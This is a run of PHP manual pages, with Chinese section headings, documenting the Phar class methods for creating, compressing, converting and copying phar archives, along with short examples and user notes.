Returns the api version

  • ? Phar::addFromString
  • Phar::buildFromDirectory ?
  • PHP Manual
  • Phar
  • Returns the api version

Phar::apiVersion

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::apiVersion — Returns the api version

说明

final public static Phar::apiVersion(): string

Return the API version of the phar file format that will be used when creating phars. The Phar extension supports reading API version 1.0.0 or newer. API version 1.1.0 is required for SHA-256 and SHA-512 hash, and API version 1.1.1 is required to store empty directories.

参数

返回值

The API version string as in "1.0.0".

示例

Example #1 A Phar::apiVersion() example

<?php
echo Phar::apiVersion();
?>

以上示例会输出：

1.1.1

User Contributed Notes

There are no user contributed notes for this page.


Construct a phar archive from the files within a directory

  • ? Phar::apiVersion
  • Phar::buildFromIterator ?
  • PHP Manual
  • Phar
  • Construct a phar archive from the files within a directory

Phar::buildFromDirectory

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::buildFromDirectory — Construct a phar archive from the files within a directory

说明

public Phar::buildFromDirectory(string $directory, string $pattern = ""): array

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Populate a phar archive from directory contents. The optional second parameter is a regular expression (pcre) that is used to exclude files. Any filename that matches the regular expression will be included, all others will be excluded. For more fine-grained control, use Phar::buildFromIterator().

参数

directory

The full or relative path to the directory that contains all files to add to the archive.

pattern

An optional pcre regular expression that is used to filter the list of files. Only file paths matching the regular expression will be included in the archive.

返回值

Phar::buildFromDirectory() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

错误／异常

This method throws BadMethodCallException when unable to instantiate the internal directory iterators, or a PharException if there were errors saving the phar archive.

更新日志

版本 | 说明
8.1.0 | Phar::buildFromDirectory() no longer returns false.

示例

Example #1 A Phar::buildFromDirectory() example

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
// add all files in the project
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));

$phar2 = new Phar('project2.phar', 0, 'project2.phar');
// add all files in the project, only include php files
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
$phar2->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

参见

  • Phar::buildFromIterator() - Construct a phar archive from an iterator

User Contributed Notes

dalfarra at codref dot com 16-May-2017 03:00
If you want to exclude a directory from the archive (but include all the other content), the regular expression must take into consideration the whole path of the file, not just the file or directory name relative to the source folder.

As an example, if we want to exclude "nbproject" directory from the archive (and any occurrence of it):

/tmp/myfolder
  /nbproject
  /something
  /something-else
    /nbproject
  /file1.php
  /file2.php

the regex should be:
<?php
  $exclude = '/^(?!(.*nbproject))(.*)$/i';  //ignoring the case
?>

A more complete example:
<?php
    $archive_file = 'myarchive.tar';
    $folder_to_compress = '/tmp/myfolder';
    $archive = new PharData($archive_file);
    $exclude = '/^(?!(.*nbproject))(.*)$/i';
    $archive->buildFromDirectory($folder_to_compress,$exclude);
    $archive->compress(Phar::GZ);
    unlink($archive_file); // as we already obtained a tar.gz
?>

the archive will contain:
/
  /something
  /something-else
  /file1.php
  /file2.php


Construct a phar archive from an iterator

  • ? Phar::buildFromDirectory
  • Phar::canCompress ?
  • PHP Manual
  • Phar
  • Construct a phar archive from an iterator

Phar::buildFromIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::buildFromIterator — Construct a phar archive from an iterator

说明

public Phar::buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Populate a phar archive from an iterator. Two styles of iterators are supported, iterators that map the filename within the phar to the name of a file on disk, and iterators like DirectoryIterator that return SplFileInfo objects. For iterators that return SplFileInfo objects, the second parameter is required.

参数

iterator

Any iterator that either associatively maps phar file to location or returns SplFileInfo objects

baseDirectory

For iterators that return SplFileInfo objects, the portion of each file's full path to remove when adding to the phar archive

返回值

Phar::buildFromIterator() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

错误／异常

This method returns UnexpectedValueException when the iterator returns incorrect values, such as an integer key instead of a string, a BadMethodCallException when an SplFileInfo-based iterator is passed without a baseDirectory parameter, or a PharException if there were errors saving the phar archive.

更新日志

版本 | 说明
8.1.0 | Phar::buildFromIterator() no longer returns false.
8.0.0 | baseDirectory is now nullable.

示例

Example #1 A Phar::buildFromIterator() with SplFileInfo

For most phar archives, the archive will reflect an actual directory layout, and the second style is the most useful. For instance, to create a phar archive containing the files in this sample directory layout:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

This code could be used to add these files to the "project.phar" phar archive:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/path/to/project')),
'/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

The file project.phar can then be used immediately. Phar::buildFromIterator() does not set values such as compression, metadata, and this can be done after creating the phar archive.

As an interesting note, Phar::buildFromIterator() can also be used to copy the contents of an existing phar archive, as the Phar object descends from DirectoryIterator:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new Phar('/path/to/anotherphar.phar')),
'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Example #2 A Phar::buildFromIterator() with other iterators

The second form of the iterator can be used with any iterator that returns a key => value mapping, such as an ArrayIterator:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
new ArrayIterator(
array(
'internal/file.php' => dirname(__FILE__) . '/somefile.php',
'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
)));
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

参见

  • Phar::buildFromDirectory() - Construct a phar archive from the files within a directory

User Contributed Notes

M8 25-Apr-2017 09:38
Phars created from iterator (unlike from directory) does not have full-fledged directory structure. For example, functions like opendir() will fail, although fopen() does not.
cweiske at php dot net 26-Feb-2015 01:43
You have to set a flag on the RecursiveDirectoryIterator because by default, the current (".") and parent directory ("..") are included in the listing. This leads to an error message similar to "returned a path ".." that is not in the base directory".

To fix this, use "SKIP_DOTS":

<?php
new RecursiveDirectoryIterator(
    $srcRoot, FilesystemIterator::SKIP_DOTS
);
?>


Returns whether phar extension supports compression using either zlib or bzip2

  • ? Phar::buildFromIterator
  • Phar::canWrite ?
  • PHP Manual
  • Phar
  • Returns whether phar extension supports compression using either zlib or bzip2

Phar::canCompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2

说明

final public static Phar::canCompress(int $compression = 0): bool

This should be used to test whether compression is possible prior to loading a phar archive containing compressed files.

参数

compression

Either Phar::GZ or Phar::BZ2 can be used to test whether compression is possible with a specific compression algorithm (zlib or bzip2).

返回值

true if compression/decompression is available, false if not.

示例

Example #1 A Phar::canCompress() example

<?php
if (Phar::canCompress()) {
echo file_get_contents('phar://compressedphar.phar/internal/file.txt');
} else {
echo 'no compression available';
}
?>

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Returns whether phar extension supports writing and creating phars

  • ? Phar::canCompress
  • Phar::compress ?
  • PHP Manual
  • Phar
  • Returns whether phar extension supports writing and creating phars

Phar::canWrite

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::canWrite — Returns whether phar extension supports writing and creating phars

说明

final public static Phar::canWrite(): bool

This static method determines whether write access has been disabled in the system php.ini via the phar.readonly ini variable.

参数

返回值

true if write access is enabled, false if it is disabled.

示例

Example #1 A Phar::canWrite() example

<?php
if (Phar::canWrite()) {
file_put_contents('phar://myphar.phar/file.txt', 'hi there');
}
?>

参见

  • phar.readonly
  • Phar::isWritable() - Returns true if the phar archive can be modified

User Contributed Notes

There are no user contributed notes for this page.


Compresses the entire Phar archive using Gzip or Bzip2 compression

  • ? Phar::canWrite
  • Phar::compressFiles ?
  • PHP Manual
  • Phar
  • Compresses the entire Phar archive using Gzip or Bzip2 compression

Phar::compress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression

说明

public Phar::compress(int $compression, ?string $extension = null): ?Phar

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

For tar-based and phar-based phar archives, this method compresses the entire archive using gzip compression or bzip2 compression. The resulting file can be processed with the gunzip command/bunzip command, or accessed directly and transparently with the Phar extension.

For Zip-based phar archives, this method fails with an exception. The zlib extension must be enabled to compress with gzip compression, the bzip2 extension must be enabled in order to compress with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

In addition, this method automatically renames the archive, appending .gz, .bz2 or removing the extension if passed Phar::NONE to remove compression. Alternatively, a file extension may be specified with the second parameter.

参数

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

extension

By default, the extension is .phar.gz or .phar.bz2 for compressing phar archives, and .phar.tar.gz or .phar.tar.bz2 for compressing tar archives. For decompressing, the default file extensions are .phar and .phar.tar.

返回值

Returns a Phar object, or null on failure.

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or the bzip2 extension is not enabled.

更新日志

版本 | 说明
8.0.0 | extension is now nullable.

示例

Example #1 A Phar::compress() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.phar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.phar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.phar already exists
?>

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

mike at eyesis dot ca 21-Feb-2011 11:50
For those who want the benefit of having a small compressed PHAR archive but don't want to suffer the performance loss, use php_strip_whitespace when adding files to the archive. If your code has plenty of whitespace, docbocks, and single-line comments this function can greatly decrease archive size without the performance loss.

<?php
$sDir = 'application';
$oPhar = new Phar ('app.phar');

$oDir = new RecursiveIteratorIterator (new RecursiveDirectoryIterator ($sDir), RecursiveIteratorIterator::SELF_FIRST);

foreach ($oDir as $sFile) {
    if ( preg_match ('/\\.php$/i', $sFile) ) {
        $oPhar->addFromString (substr ($sFile, strlen ($sDir) + 1), php_strip_whitespace ($sFile));
    }
}
?>


Compresses all files in the current Phar archive

  • ? Phar::compress
  • Phar::__construct ?
  • PHP Manual
  • Phar
  • Compresses all files in the current Phar archive

Phar::compressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::compressFiles — Compresses all files in the current Phar archive

说明

public Phar::compressFiles(int $compression): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

For tar-based phar archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use Phar::compress() to compress an entire tar-based phar archive.

For Zip-based and phar-based phar archives, this method compresses all files in the Phar archive using the specified compression. The zlib or bzip2 extensions must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2/zlib compression, the respective extension must be enabled in order to decompress the files prior to re-compressing. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

参数

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

返回值

没有返回值。

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

示例

Example #1 A Phar::compressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

以上示例会输出：

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 01:55
Compressing the entire archive
$phar->compress();
overrides your stub file.

Use compressFiles to have the the files compressed keeping your own stub in tact (which is not being compressed).
The compression is a little bit worth (since one file is left uncompressed), but enables you to have your own stub file executed with browser requests.

Don't get confused, compressing doesn't rise the security level of your code or obfuscating it strongly enough. The source code of your compressed phar is still easy to read.


Construct a Phar archive object

  • ? Phar::compressFiles
  • Phar::convertToData ?
  • PHP Manual
  • Phar
  • Construct a Phar archive object

Phar::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::__construct — Construct a Phar archive object

说明

public Phar::__construct(string $filename, int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS, ?string $alias = null)

参数

filename

Path to an existing Phar archive or to-be-created archive. The file name's extension must contain .phar.

flags

Flags to pass to parent class RecursiveDirectoryIterator.

alias

Alias with which this Phar archive should be referred to in calls to stream functionality.

错误／异常

Throws BadMethodCallException if called twice, UnexpectedValueException if the phar archive can't be opened.

示例

Example #1 A Phar::__construct() example

<?php
try {
$p = new Phar('/path/to/my.phar', FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::KEY_AS_FILENAME,
'my.phar');
} catch (UnexpectedValueException $e) {
die('Could not open my.phar');
} catch (BadMethodCallException $e) {
echo 'technically, this cannot happen';
}
// this works now
echo file_get_contents('phar://my.phar/example.txt');
// and works as if we had typed
echo file_get_contents('phar:///path/to/my.phar/example.txt');
?>

User Contributed Notes

myselfasunder at findmenow dot gmail dot com 12-Jul-2010 01:18
Zip support seems to be shaky, in that just attempting to open a Zip file (created by 7-Zip) with both the 'zlib' and 'zip' extensions enabled renders the following error:

Error: Cannot convert phar archive "C:/Development/webdir/public_html/TestPhar.zip", unable to open entry "TestPhar/" contents: phar error: internal corruption of zip-based phar "C:/Development/webdir/public_html/TestPhar.zip" (local header of file "TestPhar/" does not match central directory)

Stick to GZ's and BZ2's (but don't forget to enable the BZ2 extension if necessary).

Phar can ONLY open executable Phar's and PharData can ONLY open non-executable Phar's. Both have the ability to convert between the two formats.

However, you can reference a file within a Phar regardless of whether it's executable using the Phar stream wrapper (file_get_contents('phar://<Phar file>/subdirectory/subdirectory/somefile.txt')).

Dustin Oprea
Christian 13-Apr-2010 06:39
It's not possible to create a new archive when safe_mode is enabled! You simply return a 'Phar creation or opening failed' error.
This applies to Phar and PharData in PHP 5.3.2.


Convert a phar archive to a non-executable tar or zip file

  • ? Phar::__construct
  • Phar::convertToExecutable ?
  • PHP Manual
  • Phar
  • Convert a phar archive to a non-executable tar or zip file

Phar::convertToData

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::convertToData — Convert a phar archive to a non-executable tar or zip file

说明

public Phar::convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData

This method is used to convert an executable phar archive to either a tar or zip file. To make the tar or zip non-executable, the phar stub and phar alias files are removed from the newly created archive.

If no changes are specified, this method throws a BadMethodCallException if the archive is in phar file format. For archives in tar or zip file format, this method converts the archive to a non-executable archive.

If successful, the method creates a new archive on disk and returns a PharData object. The old archive is not removed from disk, and should be done manually after the process has finished.

参数

format

This should be one of Phar::TAR or Phar::ZIP. If set to null, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that .phar cannot be used anywhere in the filename for a non-executable tar or zip archive.

If converting to a tar-based phar archive, the default extensions are .tar, .tar.gz, and .tar.bz2 depending on specified compression. For zip-based archives, the default extension is .zip.

返回值

The method returns a PharData object on success, or null on failure.

错误／异常

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), and a PharException if any problems are encountered during the phar creation process.

更新日志

版本 | 说明
8.0.0 | format, compression, and extension are now nullable.

示例

Example #1 A Phar::convertToData() example

Using Phar::convertToData():

<?php
try {
$tarphar = new Phar('myphar.phar.tar');
// note that myphar.phar.tar is *not* unlinked
// convert it to the non-executable tar file format
// creates myphar.tar
$tar = $tarphar->convertToData();
// convert to non-executable zip format, creates myphar.zip
$zip = $tarphar->convertToData(Phar::ZIP);
// create myphar.tbz
$tgz = $tarphar->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
// creates myphar.phar.tgz
$phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
// handle the error here
}
?>

参见

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Convert a phar archive to another executable phar archive file format

  • ? Phar::convertToData
  • Phar::copy ?
  • PHP Manual
  • Phar
  • Convert a phar archive to another executable phar archive file format

Phar::convertToExecutable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format

说明

public Phar::convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

This method is used to convert a phar archive to another file format. For instance, it can be used to create a tar-based executable phar archive from a zip-based executable phar archive, or from an executable phar archive in the phar file format. In addition, it can be used to apply whole-archive compression to a tar or phar-based archive.

If no changes are specified, this method throws a BadMethodCallException.

If successful, the method creates a new archive on disk and returns a Phar object. The old archive is not removed from disk, and should be done manually after the process has finished.

参数

format

This should be one of Phar::PHAR, Phar::TAR, or Phar::ZIP. If set to null, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that all zip- and tar-based phar archives must contain .phar in their file extension in order to be processed as a phar archive.

If converting to a phar-based archive, the default extensions are .phar, .phar.gz, or .phar.bz2 depending on the specified compression. For tar-based phar archives, the default extensions are .phar.tar, .phar.tar.gz, and .phar.tar.bz2. For zip-based phar archives, the default extension is .phar.zip.

返回值

The method returns a Phar object on success, or null on failure.

错误／异常

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), an UnexpectedValueException if write support is disabled, and a PharException if any problems are encountered during the phar creation process.

更新日志

版本 | 说明
8.0.0 | format, compression, and extension are now nullable.

示例

Example #1 A Phar::convertToExecutable() example

Using Phar::convertToExecutable():

<?php
try {
$tarphar = new Phar('myphar.phar.tar');
// convert it to the phar file format
// note that myphar.phar.tar is *not* unlinked
$phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
// creates myphar.phar.tgz
$compressed = $phar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
// handle the error here
}
?>

参见

  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 12:52
Convert to executable and compress methods override any stub you have created with their own stub which is responsible for extracting/executing self's content.

calling setStub() after convertingToExecutable doesn't help either. As far of php 5.3.6 (phar     2.0.1 ) if you want to have a phar archive accessible threw the web, you'll have to create your own
index.php which will include a nonexecutable phar and act as the bootstrap.


Copy a file internal to the phar archive to another new file within the phar

  • ? Phar::convertToExecutable
  • Phar::count ?
  • PHP Manual
  • Phar
  • Copy a file internal to the phar archive to another new file within the phar

Phar::copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::copy — Copy a file internal to the phar archive to another new file within the phar

说明

public Phar::copy(string $from, string $to): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Copy a file internal to the phar archive to another new file within the phar. This is an object-oriented alternative to using copy() with the phar stream wrapper.

参数

from

to

返回值

returns true on success, but it is safer to encase method call in a try/catch block and assume success if no exception is thrown.

错误／异常

throws UnexpectedValueException if the source file does not exist, the destination file already exists, write access is disabled, opening either file fails, reading the source file fails, or a PharException if writing the changes to the phar fails.

示例

Example #1 A Phar::copy() example

This example shows using Phar::copy() and the equivalent stream wrapper performance of the same thing. The primary difference between the two approaches is error handling. All Phar methods throw exceptions, whereas the stream wrapper uses trigger_error().

<?php
try {
$phar = new Phar('myphar.phar');
$phar['a'] = 'hi';
$phar->copy('a', 'b');
echo $phar['b']; // outputs "hi"
} catch (Exception $e) {
// handle error
}

// the stream wrapper equivalent of the above code.
// E_WARNINGS are triggered on error rather than exceptions.
copy('phar://myphar.phar/a', 'phar//myphar.phar/c');
echo file_get_contents('phar://myphar.phar/c'); // outputs "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of entries (files) in the Phar archive

  • ? Phar::copy
  • Phar::createDefaultStub ?
  • PHP Manual
  • Phar
  • Returns the number of entries (files) in the Phar archive

Phar::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::count — Returns the number of entries (files) in the Phar archive

说明

public Phar::count(int $mode = COUNT_NORMAL): int

参数

mode

mode is an integer value specifying the counting mode to be used. By default, it is set to COUNT_NORMAL, which counts only the number of items in the archive that have not been deleted or hidden. When set to COUNT_RECURSIVE, it counts all items in the archive, including those that have been deleted or hidden.

返回值

The number of files contained within this phar, or 0 (the number zero) if none.

示例

Example #1 A Phar::count() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p['file.txt'] = 'hi';
echo 'The new phar has ' . $p->count() . " entries\n";
?>

以上示例会输出：

The new phar has 0 entries
The new phar has 1 entries

User Contributed Notes

There are no user contributed notes for this page.


Create a phar-file format specific stub

  • ? Phar::count
  • Phar::decompress ?
  • PHP Manual
  • Phar
  • Create a phar-file format specific stub

Phar::createDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::createDefaultStub — Create a phar-file format specific stub

说明

final public static Phar::createDefaultStub(?string $index = null, ?string $webIndex = null): string

This method is intended for creation of phar-file format-specific stubs, and is not intended for use with tar- or zip-based phar archives.

Phar archives contain a bootstrap loader, or stub written in PHP that is executed when the archive is executed in PHP either via include:

<?php
include 'myphar.phar';
?>
or by simple execution:
php myphar.phar

This method provides a simple and easy method to create a stub that will run a startup file from the phar archive. In addition, different files can be specified for running the phar archive from the command line versus through a web server. The loader stub also calls Phar::interceptFileFuncs() to allow easy bundling of a PHP application that accesses the file system. If the phar extension is not present, the loader stub will extract the phar archive to a temporary directory and then operate on the files. A shutdown function erases the temporary files on exit.

参数

index

Relative path within the phar archive to run if accessed on the command-line

webIndex

Relative path within the phar archive to run if accessed through a web browser

返回值

Returns a string containing the contents of a customized bootstrap loader (stub) that allows the created Phar archive to work with or without the Phar extension enabled.

错误／异常

Throws UnexpectedValueException if either parameter is longer than 400 bytes.

更新日志

版本 | 说明
8.0.0 | index and webIndex are now nullable.

示例

Example #1 A Phar::createDefaultStub() example

<?php
try {
$phar = new Phar('myphar.phar');
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
// handle errors
}
?>

参见

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::getStub() - Return the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Decompresses the entire Phar archive

  • ? Phar::createDefaultStub
  • Phar::decompressFiles ?
  • PHP Manual
  • Phar
  • Decompresses the entire Phar archive

Phar::decompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::decompress — Decompresses the entire Phar archive

说明

public Phar::decompress(?string $extension = null): ?Phar

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

For tar-based and phar-based phar archives, this method decompresses the entire archive.

For Zip-based phar archives, this method fails with an exception. The zlib extension must be enabled to decompress an archive compressed with gzip compression, and the bzip2 extension must be enabled in order to decompress an archive compressed with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

In addition, this method automatically changes the file extension of the archive, .phar by default for phar archives, or .phar.tar for tar-based phar archives. Alternatively, a file extension may be specified with the second parameter.

参数

extension

For decompressing, the default file extensions are .phar and .phar.tar. Use this parameter to specify another file extension. Be aware that all executable phar archives must contain .phar in their filename.

返回值

A Phar object is returned on success, and null on failure.

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or the bzip2 extension is not enabled.

更新日志

版本 | 说明
8.0.0 | extension is now nullable.

示例

Example #1 A Phar::decompress() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar.gz');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p3 = $p2->decompress(); // creates /path/to/my.phar
?>

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

shevadas at gmail dot com 26-Apr-2016 04:19
decompress() will truncate any part of the filename after the first period, as it assumes it's part of the extension. For example, if your PharData archive is named "views-3.x-3.13.tar.gz", calling decompress on it will create a tar file named "views-3.tar". See https://bugs.php.net/bug.php?id=58852


Decompresses all files in the current Phar archive

  • ? Phar::decompress
  • Phar::delMetadata ?
  • PHP Manual
  • Phar
